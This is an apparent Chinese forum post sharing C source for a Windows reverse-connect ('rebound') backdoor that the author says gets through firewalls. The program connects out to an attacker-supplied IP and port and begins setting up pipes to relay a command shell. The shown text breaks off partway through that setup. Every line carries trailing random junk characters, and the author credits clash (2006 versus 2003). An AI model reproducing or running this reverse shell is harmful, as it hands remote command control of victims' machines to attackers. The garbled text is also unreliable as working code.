这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T\L
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/* ============================== :#UN^ "(m}
Rebound port in Windows NT q|e<b
By wind,2006/7 qFjnuQ,w
===============================*/ 92L{be;SY
#include \fL:Ie
#include `Dv&.
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#pragma comment(lib,"wsock32.lib") R= *vPS
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void OutputShell();
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SOCKET sClient; H$]FUv8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sB`zk[R;
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void main(int argc,char **argv) YR$d\,#R
{ ">S.~'ds
WSADATA stWsaData; U6oab9C?k
int nRet; E)F"!56lV
SOCKADDR_IN stSaiClient,stSaiServer; xiQ;lE
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if(argc != 3) i- r y5x
{ x<{)xP+|
printf("Useage:\n\rRebound DestIP DestPort\n"); `d:cq.OO
return; BmFs6{>~c
} oOK&+r7
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WSAStartup(MAKEWORD(2,2),&stWsaData); Di #E m[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S31+ j:"
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stSaiClient.sin_family = AF_INET; y&+Sp/6BYA
stSaiClient.sin_port = htons(0); k'+Mc%pg4E
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]}dAm S/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1fb!sbGD.k
{ {siIRl2&
printf("Bind Socket Failed!\n"); )NS&1$
return; d<4q%y'X{
} nD;8)VI'I
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stSaiServer.sin_family = AF_INET; yn-TN_/Y,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \~'+TW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8p~G)J3U
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VcR(9~
{ kc70HrG
printf("Connect Error!"); 4f>
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return; %q
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} J2~oIe2!+
OutputShell(); "+J[7p}`@
} I%31MU9
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void OutputShell() _D?`'zN
{ Ie8jBf -
char szBuff[1024]; fQOh%i9n5
SECURITY_ATTRIBUTES stSecurityAttributes; :i:M7 }r
OSVERSIONINFO stOsversionInfo; `@|Kx\y4=j
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?AJE*=b
STARTUPINFO stStartupInfo; 0^rDf
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char *szShell; *^P$^lm?S
PROCESS_INFORMATION stProcessInformation; t.WWahNyY
unsigned long lBytesRead; t@\op}Z-M
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Qape DU;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +cnBEv~y
stSecurityAttributes.lpSecurityDescriptor = 0; q%A.)1<'_
stSecurityAttributes.bInheritHandle = TRUE; lGtTZcg
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )YP9
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